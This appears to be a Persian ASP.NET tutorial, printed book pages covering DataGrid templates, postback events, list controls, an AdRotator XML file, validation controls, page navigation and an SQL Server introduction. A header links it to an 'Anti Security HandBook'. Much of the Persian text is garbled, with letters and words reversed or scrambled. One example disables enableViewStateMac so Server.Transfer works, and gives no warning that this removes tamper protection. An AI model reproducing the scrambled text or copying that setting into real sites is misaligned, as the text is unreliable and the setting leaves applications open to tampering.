  .ديده قرار فرم یرو را  DataGrid نترلک -٢
 
  )٧ لکش . (ديکن راست کيکل کنترل ویکرد ر اضافه توان یمProperty Builder از استفاده با آن به را Template یها ونست -٣
  
ا  ستون  ستيل در راTemplate ستون سپس ، ردهک انتخاب را Columns ی نهیگز ، شده ظاهر ی صفحه در -٤ ر  و دي نک انتخاب  ه  ب
  ) . ٨ شکل ( دیينما يکلک  Ok یرو سپس و اضافه را Template ستون ٢ مثال نیا یبرا . دينک يکل کAdd (>)مهکد یرو
 
د  ( دي نک مشخص را داده منبع و دينک انتخاب راDataSource تيخاص ، خواص پنجره در -٥ ال  مانن ل  مث ان  یعن ی ) قب  ( arrData  هم
  ) . ٩ لک
  
 یم  ريي تغEdit  حالت به نترلک ظاهر . دیينما انتخابpop-up ی منو از را Columns(0)  سپس و دينک يکلک DataGrid ی رو -٦
  ) . ١٠ شکل ( ندک
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   DataGrid .به مربوط Property Builder انتخاب -٧ شکل
  
 

  
  

   .دیگر تاید به Template ستون دو کردن اضافه -٨ شکل
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   . )باشد می هیآرا کی نجایا در که ( دیتاگرید برای داده منبع انتخاب – ٩ شکل
  
  
  

  
 

  .ديکن می ملاحظه شیرایو آماده را ستون نیا ، چپ سمت در . شیرایو برای دیگر تایدColumns[0]  انتخاب – ١٠ شکل
  
  
ا  دينکDrag نترلک به مربوط Template  به سپس و ديده قرار وب فرم یرو را ها نترلک ریسا - ٧ ه  ، ت  ( شوند  اضافه  DataGrid ب

را  سپس و ديده قرار فرم یرو TextBox یک مثال یبرا ) نمک یم استفاده Cut/Paste از شخصا ه  آن  (دي ن کDrag ,Columns(0) ب
  ) . ١١ شکل

  
ه  هک  TextBox نترلک به مربوط ( دينک انتخاب را DataBinding تيخاص ، خواص ی پنجره در -٨  (دی ا ردهک  اضافه  template ب
  .دينک يکلک شده ظاهر مهکد یرو بر و) ١٢ لکش)
 
 Simple ، دي نک انتخاب  را Text مثال نیا یبرا . ندک افتیدر را داده تمیآ تا دينک انتخاب را یتيخاص Bindable خواص ستيل در -٩

Binding ر  سپس  و دي نک انتخاب  را ا  دي نک يک لک DataItemو Container ی رو ب  تيخاص  در داده تمی آ دامک  هک  دیي نما مشخص  ت
   .شود بسته صفحه نیا تا دينک يکلک Ok ی رو . رديگ قرار شده انتخاب
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  .دیتاگرید درColumns[0]  روی بر TextBox  کی دادن قرار - ١١ شکل
  
  

  
  

  .میا کرده اضافه دیتاگرید که کنترلی برای Binding نوع انتخاب - ١٢ شکل
  
  
  

 Columns ( 1)  سپس  و دينک استر يکلک DataGrid نترلک یرو بر ارکنیا یبرا . دينک شیرایو را Template ستون نيدوم - ١٠
   .دیينما انتخاب pop-up ی منو از را
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را  و دي نک ميترس مهکد یک ، مثال نیا یبرا . دينک رارکت ستون نیا یبرا را ٧ تا ٤ مراحل - ١١ ه  دي نک Drag آن  در Columns ( 1) ب
Template به مربوط. DataGrid   

  
  

  
  

   .دیگر تاید Columns[1]  در دکمه کی دادن قرار - ١٣ شکل
 

١٢ - Template ه ی انی پا شما  ارک  هيک هنگام را را  . دی ببند ، است  افت ه یگز و دي نک راست  يک لک آن یرو ارک نیا یب  End ی ن
Tempalate editing یمنو از را pop-up دهد یم شینما ١٤ - لکش مانند آنرا در موجود یها نترلک ویاستود ژوالیو .دينک انتخاب 

  .داد رييتغ ، میا ردهک شیرایو بحال تا هک همانگونه را Template دیبا ، ها نترلک از دامک هر واصخ رييتغ یبرا .
 
  

  
 

 . شیرایو کار اتمام از پس دیگر یینها شکل - ١٤ شکل
  

 : دستورات انجام
  
رل ک نی ا .شوند یم برده ارکب دستورات انجام یبرا ImageButton و Button ، LinkButton سرور یها نترلک ا  نت وع  سبب  ه  وق

ه  سرور  هک  شوند  یم سبب و شده درخواست مرورگر طرف از رخدادها نگونهیا . شوند یم Post-Back نام به یرخدادها  پاسخ  آن ب
 .دينک توجه ریز مثال به مينيبب را صفحه یک در افتاده اتفاق یرخدادها بيترت هکنیا یبرا .دهد

 
  
   :٤ ثالم
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رل ک یک و TextBox ، ListBox یک رم  یرو را Button نت رار  ف اکس  تکست  AutoPostBack   ) ١۵ شکل  ( دي ده ق  ستي ل و ب
د های   سپس  .دي نپر ک دلخواه تمیآ سه با را باکس ستيل Page_Load رخداد در . ديکن True را باکس ه  را ری ز ک  مختلف  رخدادهای  ب
 .ديکن اضافه صفحه

 
private void Page_Load(object sender, System.EventArgs e) 
{ 
Response.Write("Page load.<br>"); 
if ( ! Page.IsPostBack ) // run 1 time 
{ 
ListBox1.Items.Add("1"); 
ListBox1.Items.Add("2"); 
ListBox1.Items.Add("3"); 
} 
} 
private void TextBox1_TextChanged(object sender, System.EventArgs e) 
{ 
Response.Write("Text changed.<br>"); 
} 
private void ListBox1_SelectedIndexChanged(object sender, System.EventArgs e) 
{ 
Response.Write("Item selected.<br>"); 
} 
private void Button1_Click(object sender, System.EventArgs e) 
{ 
Response.Write("Page load.<br>"); 
} 
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  . ٤ برنامه اجرای از ای ونهنم – ١٥ شکل

  
 دهد یم ارائه را یشتريب یها تيقابل ImageButton نترلک . باشد یم سرراست و واضح اريبس LinkButton و Button از استفاده

  .ندیگو یم هم ImageMaps  آن به و دیا ردهک يکلک آن یرو ماوس با هک هستند یانکم y و x ی ها آرگومان یحاو آن يکلک رخداد .
 
  
 
  : اربرک از ريمقاد افتيدر
  
ا تفاده ب رلک از اس ا نت ا RadioButton ، RadioButtonList ، CheckBox یه   و DropDownList و CheckBoxList ی

ListBox د  .ردک  افت یدر اربرک  از را رهي غ و یبول یها داده توان یم رل ک همانن ا  نت وان  یم  یه را  Collection شگری رایو از ت  یب
ا  Items  تيخاص یرو بر دیبا ارکنیا یبرا .ردک استفاده CheckBoxList ای RadioButtonList به تمیآ ردنک اضافه  پنجره  در آنه

   . ردک يکلک خواص ی
  
   .ريخ ای اند شده انتخاب RadioButton ای CheckBox ایآ هک شد متوجه توان یم آنها در Checked تيخاص از استفاده با
  

رم  یرو را RadioButton یک  شما  هيکهنگام رار  ف ا  دي ده یم  ق ا  ب ا  RadioButton ریس رخلاف  ه رل ک ب ا  نت  OptionButton یه
  .ردک مشخص radioButton هر یبرا را آنها GroupName تيخاص دیبا منظور نیا یبرا .ندارد ینشک برهم

 
ه  از RadioButtonList  ای و CheckBoxList ریمقاد ميتنظ ای و افتیدر یبرا ا  foreach ی حلق را  آنه  ای  شدن  انتخاب  دني فهم یب
  .ردک استفاده توان یم تيخاص از انترل هک نیا یبرا . ردک استفاده توان یم Selected ر،يخ
  
 
   :٥ ثالم
  
 کی  و RadioButtonList کی . ميسیبنو RadioButtonList های کنترل از استفاده نحوه با ییآشنا برای ساده مثال کی ميخواه می
 اضافه آن به دلخواه ی نهیگز سه .ديکن کيکل کنترل خواص ی صفحه در آن Items ی نهیگز روی سپس . ديده قرار مفر روی را دکمه
   ) .١٧ و ١٦ شکلهای ( دیينما
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   .RadioButtonList کنترل به دلخواه تمیآ سه کردن اضافه – ١٦ شکل
  
  

  
  
   .٥ مثال فرم یینها ریتصو - ١٧ کلش
 
  

  : دیينما هاستفاد ریز کد از سپس
 

private void Button1_Click(object sender, System.EventArgs e) 
{ 
foreach ( ListItem lstItem in RadioButtonList1.Items ) 
{ 
if ( lstItem.Selected ) 
Response.Write(lstItem.Text + " is selected.<br>"); 
} 
} 
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  : غاتيتبل و يکگراف شينما
  
 

  .دارد وجود فرم یرو يکگراف شینما یبرا یمختلف یها روش
  
رار  صفحه لک یرو را ریتصو ک ی توان یم وب فرم BackGround تيخاص از استفاده با : نهيزم پس بعنوان -١ ا  . داد ق تفاده  ب  اس
 .داد شینما را ریتصو صفحه لک یبجا صفحه از یقسمت در توان یم Panel نترلک یک BackImageURL از
 
  .ردک ميتنظ آنرا ImageURLيت خاص توان یم هم اجرا زمان در Image نترلک از استفاده با foreground  بعنوان -٢
 
 ImageButton نترلک از استفاده با : مهکد یک بعنوان -٣
 
 .یغاتيتبل موارد از یستيل از ریتصاو شینما یبرا AdRotator نترلک از استفاده با : غاتيتبل بعنوان -٤
  
  

را  هک  AdRotator نترلک . است غاتيتبل یبرا ASP.NET صفحات در يکیگراف ریتصاو از لمعمو ی استفاده  ارک ب منظور  نی ا یب
 یغيتبل ریتصاو آدرس XML لیفا نیا در . ندک یم استفاده یغيتبل ریتصاو دادن شینما نوبت به یبرا XML لیفا یک از شود یم برده
از  ردک  يک لک ریتصو  یرو راربک  اگر هک یا صفحه آدرس بعلاوه رديگ یم قرار دم  حق  نيهمچن  و شود  ب ا  و ریتصو  تق  خواص  ریس

وارد  از یکی AdRotator نترلک ، اجرا زمان در . نگونهیا ات يتبل م را  و ردهک  انتخاب  را XML ، لی فا در شده  ستي ل و موجود  یغ  آن
  .دهد یم شینما صفحه یرو
  
 
   :ودش یط ریز مراحل دیبا AdRotator نترلک از استفاده یبرا
  
  .ديده قرار فرم یرو AdRotator نترلک یک -١
  
  .دينک جادیا پروژه ویاز من را XML لیفا یک -٢
  
و  از سپس  و ردهک  انتخاب  را TargetSchema تيخاص ، خواص پنجره در -٣ ا  یمن ادن  نیيپ  را AdRotator Schedule file یافت

  .دينک انتخاب
 
  
  .دينک اضافه XML لیفا <Advertisement> قسمت به را <Ad>یها تگ ، شود ادهد شینما است قرار هک یریتصو هر یبرا -٤
 
   .دیدباز گر وب فرم به و دينک رهيذخ را XML لیفا -٥
  
ه  را AdvertisementFile ، تيخاص  AdRotator نترلک خواص ی پنجره در -٦ ی ا XML لی فا ب  ارجاع  ، دی ا ردهک  درست  هک  ی
 .ديده
 
  
  .رود می بکار غيتبل سه شینما برای ریز XML لیفا مثال یبرا
  

<Advertisements> 
<Ad> 
<ImageUrl>./SampleBanner.gif</ImageUrl> 
<NavigateUrl>http://www.google.com</NavigateUrl> 
<AlternateText>Cick me now!</AlternateText> 
<Keyword>ShowMe</Keyword> 
<Impressions>71</Impressions> 
</Ad> 
<Ad> 
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<ImageUrl>./AnotherSample.gif</ImageUrl> 
<NavigateUrl>http://www.microsoft.com</NavigateUrl> 
<AlternateText>Go to Microsoft Site</AlternateText> 
<Keyword>ShowMe</Keyword> 
<Impressions>70</Impressions> 
</Ad> 
<Ad> 
<ImageUrl>./DoesNotExist.gif</ImageUrl> 
<NavigateUrl>http://www.microsoft.com</NavigateUrl> 
<AlternateText>Won't see me</AlternateText> 
<Keyword>DoNotShowMe</Keyword> 
<Impressions>2000</Impressions> 
</Ad> 
</Advertisements> 

  
  
  

   .AdRotator یبرا شده فیتعر یها تگ -٥ جدول
  

  
  
  
  
 : یگروه یها نترلک
  
رل ک صفحه قسمت  یکدر و دينک درست نيلاگ صفحه یک شما هک است نیا یگروه یها نترلک یاربردهاک از یکی مثال یبرا ا  نت  یه

  .ديده شینما را صفحه گرید قسمت و دينی کمخف را آنها ردنک نيلاگ از پس و رنديگ قرار گروه یک صورت به مربوط
رل ک توان ینم نترلک نیا یرو . شود یم استفاده ارکنیا یبرا Panel نترلک از ا  نت دا  دی با . ردک  ميترس  را ه رل ک ابت رم  یرو نت رار  ف  ق
تفاده  ، شد صحبت آن مورد در هک FolwLayout ستميس از ها نترلک نوع نیا .شودDrag آن یرو به سپس و رديگ د ک یم  اس ط  و نن  فق
 .ردک استفاده آنها انکم ميتنظ یبرا توان یم Enter ای و Space از
 
  : خيارت با رک
 
ا  تفاده  ب رل ک از اس و  نت وان  یم  میتق وط  اطلاعات  ت ه  مرب ا  ب ا  را روزه را  . داد شینم ا  ارک  یب رل ک ن یا ب  یرخدادها  از نت

SelectionChanged  تفاده  SelectionChanged رخداد  SelectedDates ای  و SelectedDate خواص  نيهمچن  و شود  یم  اس
 .دینما یم مطلع را سرور ، خیتار . رييتغ محض به نیبنابرا باشد یم post-backی رخداد
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  وب های تکميلی کنترل موارد و کاربر طرف از شده وارد های داده اعتبار تعيين و بررسی
 

  : مقدمه
 
 وب سرور مهم یها نترلک ی ماندهياق ببر داشت ميخواه یمرور یجار فصل در . باشد یم نيشيپ فصل دوم قسمت قتيحق در فصل نیا
.  
 

  :اربرک یورود یها داده یابيارز
 

ر  او طرف  از شده وارد یها داده ایآ مينک حاصل نانياطم هک است نیا اربرک از ها داده افتیدر مراحل نیمهمتر از یکی  ای  هستند  معتب
وع  ای آ ؟ است  رده ک وارد را یزيچ اربرک ایآ : باشند یم شرح نیبد اعتبار نييتع اصول ر؟يخ  ) است  ردهک  وارد را داده از یحيصح  ن
  .نهایا امثال و دارد؟ قرار خاص بازه  یکدر یورود داده ایآ . ( ليمیا آدرس مثال یبرا

ASP.NETا  داده هکنیا از قبل را یورود یها داده یابیارز یها نترلک از یسر  یک ه  ه تاده  سرور  ب  نت یلاک سمت  در ، شوند   فرس
ي تع .ردي گ یم  صورت ارکنیا آن به یاضاف بار ليمتح و سرور شدن ريدرگ بدون صورت نیا به و است ردهک ايمه ار  ني ا  داده اعتب  یه

رار   WebUIValidation.JS لی فا در هک  یا تابخانهک توسط نتیلاک سمت در یورود ه  و دارد ق ر  مجزا  صورت  ب  وتريامپک  یرو ب
اربر  وب مرور گر   نکردن  بانیيشتپ  ليلدبه  اگر یحت هک است نجایا جالب تهکن . رديگ یم صورت ، شد خواهد افتیدر نتیلاک یها  ک
ي تع ارک خود صورت به نبود، ايمه نتیکلا سمت اعتبار نييتع)  ٤ سپلوررکا نترنتیا  از تر نیيپا یها نگارش(  Jscript  از ار  ني  اعتب

 .گرفت خواهد صورت یورود یها داده اعتبار نييتع حال هر در و گردد یم ايمه سرور سمت
 
 را ینترلک مقدار ها نترلک نوع نیا . اند شده داده حيتوض اربر،ک یورود یها داده اعتبار نييتع یبرا ودموج نترلک شش ریز جدول در
  .ندینما یم یبررس را است شده مشخص آنها ControlToValidate تيخاص در هک
  

  ASP.NET .در اعتبار نييتع یها نترلک -١ جدول
  

 
 
  
  
  : شود یط ريز مراحل دياب اعتبار نييتع یها نترلک از استفاده یبرا
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 ١٠٩٥    صفحه

رل  یک دادن قرار یا و ترسيم -١ ار  کنت رم  روی ورودی اعتب ه   آنControlToValidate خاصيت  کردن  تنظيم  و ف ی  ب ه  کنترل  می  ک
د  ، کنيد می استفاده CompareValidator کنترل از شما اگر .شود اعتبار تعيين خواهيد ز  را ControlToCompare  خاصيت  بای  ني
   .دکني تنظيم

 
 .کنيد تنظيم دهد نمایش نيست معتبر ورودی ی داده هنگاميکه خواهيد می که پيغامی به را ErrorMessage خاصيت -٢
 
ورد  این از .کنيد تنظيم ، د ده می رخ خطا هنگاميکه پيغامی دادن نمایش برای آنرا Text  خاصيت -٣ رای  م ایش  ب  توضيحات  دادن نم

  .شود می استفاده ErrorMessage خاصيت از تر طولانی
 
رل  از حاصل  خطای  های  پيغام تمام نمایش برای وب فرم روی را ValidationSummary کنترل یک نياز صورت در -٤  های  کنت

 .کنيد ترسيم ، اعتبار تعيين
 
 وجود پس . ددگر می اعتبار تعيين بررسی انجام سبب ، شود می Post-Back رخداد یک شدن ستاده فر سبب که کنترلی وجود تنها -٥

 .است ضروری حالت این در فرم روی ) دکمه یک مانند ( کنترلی چنين یک
 

 ShowMessage نام به ValidationSummary کنترل خاصيت MessageBox یک صورت به اعتبار تعيين خطاهای نمایش برای
   . کنيد True را
  

رل  یک  اگر  رار  صفحه  روی را RegularExprssionValidator  کنت د ده ق را  ValidationExpression خاصيت  و ي  انتخاب  آن
 .باشد می کافی موارد اغلب در که شود می ظاهر ١ - شکل باکس دیالوگ ، نمایيد

 
  . RegularExprssionValidator  کنترل به مربوط ادیتور ی صفحه -١ شکل

  

  
  
  
ين  برای Pattern-matching  زبان از کنترل این ار  تعي د  می  تفادهاس  ورودی ی داده اعتب ن  در را وسيعتر  طلاعات  اکن ه  ای  می  زمين
  آورد بدست MSDN در توان

  
  : اعتبار تعيين های کنترل ترکيب

  
اربر  ایميل که ایی TextBox مثال برای . کند استفاده اعتبار تعيين کنترل چندین از تواند می صفحه روی کنترل یک  می  دریافت  را ک
د  د  می  کن ه  توان رل  ب رل  و RequiredFieldValidator  کنت ورد  در .باشد  متصل  RegularExpressionValidator کنت رل  م  کنت

CompareValidator داشت توجه زیر نکات به باید :   
  
  .بود خواهد Invalid نتيجه شود، تبدیل مناسب داده نوع یک به نتواند ControlToValidate خاصيت در شده مشخص کنترل اگر -
 
د  Valid نتيجه  شود، تبدیل مناسب داده نوع یک به نتواند ControlToComare خاصيت در شده مشخص کنترل اگر - ود  خواه  در .ب

   .جست بهره اعتبار تعيين برای دیگر کنترل یک از باید حالت این
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 ١٠٩٦    صفحه

يم  استفاده CompareValidator کنترل از خواهيم می هنگاميکه ا  کن وان  می  آن Operator خاصيت  کردن  تنظيم  ب وع  ت سه مقا ن  را ی
ال  برای . داد انجام اهی  مث ات  از گ د  یک  ورودی اوق د  فيل ر  بای ا  کمت د  مساوی  ی ال  و باشد  دیگری  فيل ا  امث ن  .اینه  پنجره  در خاصيت  ای

 .است تنظيم قابل سادگی به شده ذکر کنترل خواص
 

  : اول مثال
 

 را اول TextBox عددی مقدار خواهيم می .دهيد قرار صفحه روی Button  عدد یک و ، Label دو ،TextBox  دو ٢ شکل مطابق
  .دهيم نمایش نهایی Label در را حاصل و کنيم تقسيم دوم TextBox عددی مقدار به
 

  .اول مثال ابتدایی نمای – ٢ شکل
  

  
  
 
   .يدده تغيير lblResult به را نهایی Label و btnCalc به را دکمه و txtVal2 و txtVal1 به ) چپ سمت از ( را TextBox نام
  
 بزرگتر صفر از دوم  TextBoxمحتویات آیا و خير یا است کرده وارد چيزی TextBox دو هر در کاربر آیا که کنيم چک خواهيم می
  باشد؟ می ١٠٠٠ از کوچکتر و
  

  )٣ شکل ( دهيد قرار  فرم روی را RangeValidator کنترل یک و RequiredFieldValidator ترلنک دو منظور این برای
  
  

  
 

 .وب فرم روی اعتبار تعيين های کنترل دادن قرار -٣ شکل
  

د  تنظيم txtVal1 به را اول باکس تکست به مربوط RequiredFieldValidator کنترل ControlToValidate خاصيت  شکل  ( کني
  .یيدنما تنظيم txtVal2 به دوم TextBox  به مربوط RequiredFieldValidator کنترل برای را خاصيت این و ) ٤
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 ١٠٩٧    صفحه

  
  

  RequiredFieldValidator .کنترل ControlToValidate خاصيت کردن تنظيم -٤ شکل
  
 به آنرا max و min  سپس و کنيد تنظيم txtVal 2 به را ControlToValidate خاصيت ابتدا RangeValidator کنترل مورد در و
  ) . ٥ شکل ( دهيد تغيير ١٠٠٠ و ١
  

 دار معنا عبارت یک کدام هر برای . باشد می اعتبار تعيين های کنترل تک تک ErrorMessage صيتخا کردن تنظيم به نوبت اکنون
  ) ٦ شکل(  بنویسيد

 
 )د کني مراجعه همراه سورس به لطفاً ( بنویسيد را هم بر عدد دو کردن تقسيم برای ساده کدی و کنيد کليک دوبار دکمه روی

  

  
 

  RangeValidator .کنترل خواص تنظيم -٥ شکل
  

  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١٠٩٨    صفحه

  .ها داده اعتبار تعيين های کنترل ErrorMessage خاصيت تنظيم از پس فرم نمای -٦ شکل
 

وب  نتيجه تا نمایيد کليک ه محاسب انجام دکمه روی کاری هر از قبل . کنيد اجرا را برنامه حالا د  را مطل  دوم TextBox در اگر  !ببيني
ام  یک  نمایيم وارد را یک از بزرگتر عددی ا  پيغ رل  طرف  از خط وع  چون  !چرا؟  . شود  می  ظاهر  RangeValidator کنت  ی داده ن
   Type خاصيت ! ایم نکرده مشخص را ورودی

  ) .٧ شکل ( دهيد تغييرint  به را کنترل این
  
  

  
  

  .کرد مشخص را RangeValidator کنترل ورودی ی داده نوع باید کاری هر از قبل -٧ شکل
  

  : اعتبار تعيين کردن کنسل
 

ين  در کاربر است ممکن ، افتد می اتفاق کند پردازش را ای صفحه سرور اینکه از قبل اعتبار تعيين چون وهی  ب ام  از انب ا  های  پيغ  خط
رل  یک  از توان می ها کنترل این کردن کنسل برای !پيش نه و باشد داشته پس راه نه و بيفتد گير ه  کنت  نداشته  Post-Back خاصيت  ک
   .کرد استفاده Submit HTML Control مانند باشد

  
   )شی IsValid Page خاصيت کردن بررسی با ( کرد هدایت دیگر ی صفحه یک به را کاربر توان می حالت این در
 
  

  :دوم مثال
  

  
 

  .طراحی حالت در دوم مثال از تصویری -٨ شکل
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 ١٠٩٩    صفحه

  
 .شود راهنمایی دیگری ی صفحه به Validation انجام بدون کرد کليک کنسل ی دکمه روی بر کاربر اگر خواهيم می مثال این در
 

ه  RequiredFieldValidator ، یک  txtID نام به TextBox یک ن  ک رل  را TextBox  ای د  می  کنت رم  روی کن رار  ف د  ق  یک  .دهي
 لشک ( دهيد قرار فرم روی را btnCancel نام به  Submit نوع از معمولی HTML دکمه یک و btnSend  نام به وب سرور دکمه
٨ (  
 

د  آنرا فرض پيش نام و نمایيد اضافه ( Add web form ) آیتم Project منوی طریق از برنامه به جدید وب فرم یک ن  روی .بپذیری  ای
  : !Sorry .بنویسيد آن داخل و دهيد قرار Label یک فرم

  
   :داد تغيير باید زیر صورت به را Submit کنترل خواص ، صفحه  HTML سورس در
 
  

<INPUT style="Z-INDEX: 101; LEFT: 274px; WIDTH: 115px; POSITION: absolute; TOP: 142px; HEIGHT: 27px" 
type="submit" value="Cancel" id="btnCancel" language="javascript" onclick="Page_ValidationActive=false;"> 

  
  : کرد اضافه توان می را زیر کد وب فرم در و
 

private void Page_Load(object sender, System.EventArgs e) 
{ 
if ( Page.IsPostBack ) 
{ 
Page.Validate(); 
//user cancelled the validation 
if (! Page.IsValid ) 
Response.Redirect("WebForm2.aspx") ; 
} 
} 

  
 راهنمایی!Sorry ی صفحه به راحتی به باشد نکرده دوار را چيزی صورتيکه در و کند کليک کنسل دکمه روی کاربر اگر مثال این در
  .... )داد  توسعه توان می بيشتر را برنامه این ( شود می

  
 : سفارشی اعتبار تعيين

  
رل  از توانيد می کنند نمی برآورده را شما نياز اعتبار تعيين های کنترل از هيچکدام اگر تفاده  CustomValidator کنت د  اس  اگر  . نمایي
رار  ServerValidate  رخداد  در را اعتبار تعيين کد ، شود انجام سرور سمت پردازش است لازم د  ق رای  . دهي ين  ب ار  تعي  سمت  اعتب

  .کرد تنظيم باید را کنترل این Client Validation Function خاصيت کلاینت
 

 : سوم مثال
  
ه  دکمه یک منظور این برای .خير یا است اول عدد یک کاربر ورودی آیا کنيم بررسی داریم قصد مثال این در ام  ب   یک  و btnTest  ن

TextBox نام به txtPrime  کنترل یک و CustomValidator  نام به vld txt Prime٩ شکل ( دهيد قرار فرم روی را (  
  
  

  
  

 طراحی حالت در سوم مثال وب فرم -٩ شکل
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 ١١٠٠    صفحه

وط  ControlToValidate خاصيت  ه  مرب ه  را vldtxtPrime ب د  تنظيم  btnTest ب ه  در سپس  . کني رل  ، خواص  ی برگ  کنت
vldtxtPrimeن  رخدادهای  ی صفحه . نمایيد ليک ک برق و رعد شکل به آیکونی روی و نموده انتخاب را رل  ای  ( شود  می  ظاهر  کنت

  . کنيد کليک دوبار ServerValidate  قسمت در اکنون ) ١٠ شکل
 
  

  :شود می اضافه برنامه به اتوماتيک صورت به زیر رخداد
 

private void vldtxtPrime_ServerValidate(object source,System.Web.UI.WebControls.ServerValidateEventArgs args). 
CustomValidator 

  
  
  

  
  
  

  کنترل به رخداد یک کردن اضافه ی نحوه - ١٠ شکل
  
 
  .نمایيد مراجعه همراه کد به لطفاً کد تکميل برای . گيرد می صورت کاربر ورودی کردن چک عمليات رخداد این در
  
 )کنيد تبدیل دار معنا عبارت یک به را کنترل این ErrorMessage خاصيت است هترب (
 
  

  : وب های کنترل تکميلی موارد
  
  

  ASP.NET :در مختلف صفحات بين حرکت ی طريقه
  

  .شد خواهند بررسی  ، ادامه در که است داده ارائه را مختلفی های روش ASP.NET مختلف صفحات بين حرکت برای
  

   . ASP.NET در صفحات بين حرکت -٢ جدول
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 ١١٠١    صفحه

 
 
  

  Redirection : وHyperLink از استفاده
  
 هدایت ، شده مشخص ی صفحه ، به کنترل این روی بر کاربر کليک با HyperLink کنترل NavigateURL خاصيت کردن تنظيم با
وان  می  کليک  رخداد  پردازش به نياز صورت در .گردد نمی سرور سمت در رخدادی نههيچگو انجام سبب کنترل این . گردد می  از ت

ا  و LinkButton  های کنترل تفاده  ImageButton ی رد  اس ن  در . ک وان  می  حالت  ای ابع  از ت رای  Response.Redirect ت دایت  ب  ه
  .کرد استفاده دیگر ای صفحه به کاربر

  
  Transfer :متد از استفاده

  
اوت  یک  با باشد می Redirect تابع از استفاده یا و HyperLink از استفاده به شبيه بسيار متد یا تابع این از هاستفاد  می Transfer  تف
وط  اطلاعات  از بعضی  تواند ه  مرب ين  در را اصلی  ی صفحه  ب ان  کردن  تنظيم  : ب ابع  آرگوم ا  درخواست  ت ظ  ، ه داری  و حف د  نگه  .کن

Transfer به  True که دشو می سبب QueryString و ViewState تفاده  برای .باشند مهيا نيز مقصد فرم در رخداد پروسيجر و  اس
ن  از دا  حالت  ای د  ابت ه  EnableViewStateMac خاصيت  بای يش  صورت  ب رم  false فرض  پ د  را وب ف  اطلاعات  ASP.NET کني

ViewState را Hash با . کند می False شد خواهند خواندن قابل نيز یگرد ی صفحه در اطلاعات این ، آن کردن. 
 این باشيد داشته آشنایی قدیمی ASP با اگر . کرد استفاده Request.Form از توان می دیگر ای صفحه در اطلاعات این دریافت برای
   ! )نباشيد نگران زیاد پس ( است شده داده قرار ASP.NET در آن با سازگاری حفظ برای فقط ها روش نوع

  
ذکر  دها  : ت ا  Execute و Transfer یمت ا  تنه رم  ب ار  وب های  ف د  می  ک ه  . کنن تفاده  در سعی  هرگون  HTML  ی صفحه  یک  از اس

  .شد خواهد داده پاسخ اجرا زمان خطای یک با معمولی
   :٤ مثال

 
 در موجود اطلاعات مخواهي می برنامه این در . نمایيد اضافه برنامه به دیگر وب فرم ک ی پروژه منوی از . کنيد باز جدید پروژه یک
رم  رم  در را اول ف ایش  دوم ف يم  نم رم  روی .ده ه  یک  و  TextBox یک  اول ف رار  دکم د  ق ام  و دهي ا  ن ه  را آنه  txtSend و btnSend ب
 .بنویسيد آن کليک رخداد در را زیر کد و کنيد کليک دوبار دکمه روی . دهيد تغيير

 
Server.Transfer("WebForm2.aspx",true) ; 

  
  : بنویسيد آن Page_Load رخداد در و نموده کليک دوبار صفحه روی بر و دهيد قرار lblReceive نام به Label یک دوم مفر روی

 
  

lblReceive.Text = "Received from WebForm1: "+ Request.Form["txtSend"].ToString() ; 
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 ١١٠٢    صفحه

  
 صورت به اگر . کنيد رجوع که نکنيد فراموش EnableViewStateMac باید را اول فرم False  سورس به . نمایيد HTML صفحه
را  سپس و کنيد True خواص خواص پنجره در را خاصيت این بار یک ، نشده اضافه صفحه بالای تگ به مورد این خودکار  False  آن
 .شد  نخواهد اجرا برنامه اینصورت غير در .گردد اضافه صفحه HTML سورس به خودکار صورت به تا نمایيد

  
  

<%@ Page language="c#" Codebehind="WebForm1.aspx.cs" AutoEventWireup="false" 
Inherits="ex04.WebForm1" enableViewState="True" enableViewStateMac="False"%> 

  
  

  Execute :متد از استفاده
  
 یک از را نتایج دهد می اجازه مورد این . کرد دازشپر ، وب فرم اولين ترک بدون را دوم وب فرم توان میExecute متد از استفاده با

   .شودFalse صفحه EnableViewStateMac ، باید Transfer متد همانند . کنيم هدایت جاری صفحه همين در ای ناحيه به وب فرم
د،  می ترکيب Execute  متد از استفاده با را وب های فرم هنگاميکه ه  هر  کني تفاده  Post-Back رخداد  گون رم  در شده  اس  سبب  دوم ف

ن  از استفاده منظور این برای . گردد می اول فرم شدن پاک ا  روش ای د  هنگامی  تنه ه  است  مفي رم  ک ی  حاوی  دوم وب ف ه  نباشد  کنترل  ک
   .شود سبب را اییPost-Back رخداد

 
  : جديد مرور گر صفحه يک در صفحه نمايش

  
 : مثال برای . کرد باز مرو گر در جدید ی صفحه یک توان می ساید کلاینت window.open متد از استفاده با
 

Window.Open( "http://www.wrox.com/", "myWindowOne", 
"toolbar=no, menubar=no, location=no, directories=no" ); 

  
 .داد انجام مه وب های کنترل با را کاری چنين یک توان می کنيد عوض  HyperLink کنترل در را  Target خاصيت اگر البته

 
  

 SQL-Server  مقدمات  و SQL زبان با آشنايی
 
  

  
  

 : مقدمه
  

 از را خودش  مفهوم بایتقر آن بدون و شود یم خلاصه سيتابید یسینو برنامه در ASP.NET ییتوانا ی عمده و یآت فصول ثرکا چون
ه  یدسترس  سهولت به توجه با و داد خواهد دست ارغ  یجار  فصل  در ، رانی ا در SQL-Server ب  یمرور  ASP.NET مباحث  از ف
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 ١١٠٣    صفحه

 . باشد  نداشته  وجود ) کار مبانی در حداقل( ی خاص لکمش یآت فصول یط در تاSQL-Server طيمح و SQL زبان بر داشت ميخواه
-SQL  شما هک است آن فصل نیا فرض شيپ . دیينما شروع را یآت فصول ی مطالعه ديتوان یم یراحت به ديهست آشنا مباحث نیا با اگر

Serverدوز یو از اگر  .دیا ردهک نصب خودتان ستميس یرو بر را تفاده  Advanced Server ٢٠٠٠ ن  نگارش  نصب  در دیي نما یم  اس
تفاده  XP Pro ای  و win2000 pro از اگر  یول  داشت دينخواه یلکمش SQL-Server مختلف یها ر  دي نک یم  اس -SQL از است  بهت

Server Desktop Editionنمود استفاده زين آن یسرور یها تيقابل از بتوان تا دیينما استفاده.   
 

  : یاطلاعات کبان يک جاديا و یطراح
 
ا  یاطلاعات کبان با ایپو تیسا وب یک . باشند یم ها داده ، فعال تیسا وب یک ی توسعه ديلک وم  و معن  یم  داي پ را خودش  یواقع  مفه
را  Enterprise manager بتداا SQL-Server در تیاطلاعا ا کبان یک جادیا یبرا .ندک  آنDataBases یرو سپس  و دي نک اجرا  آن
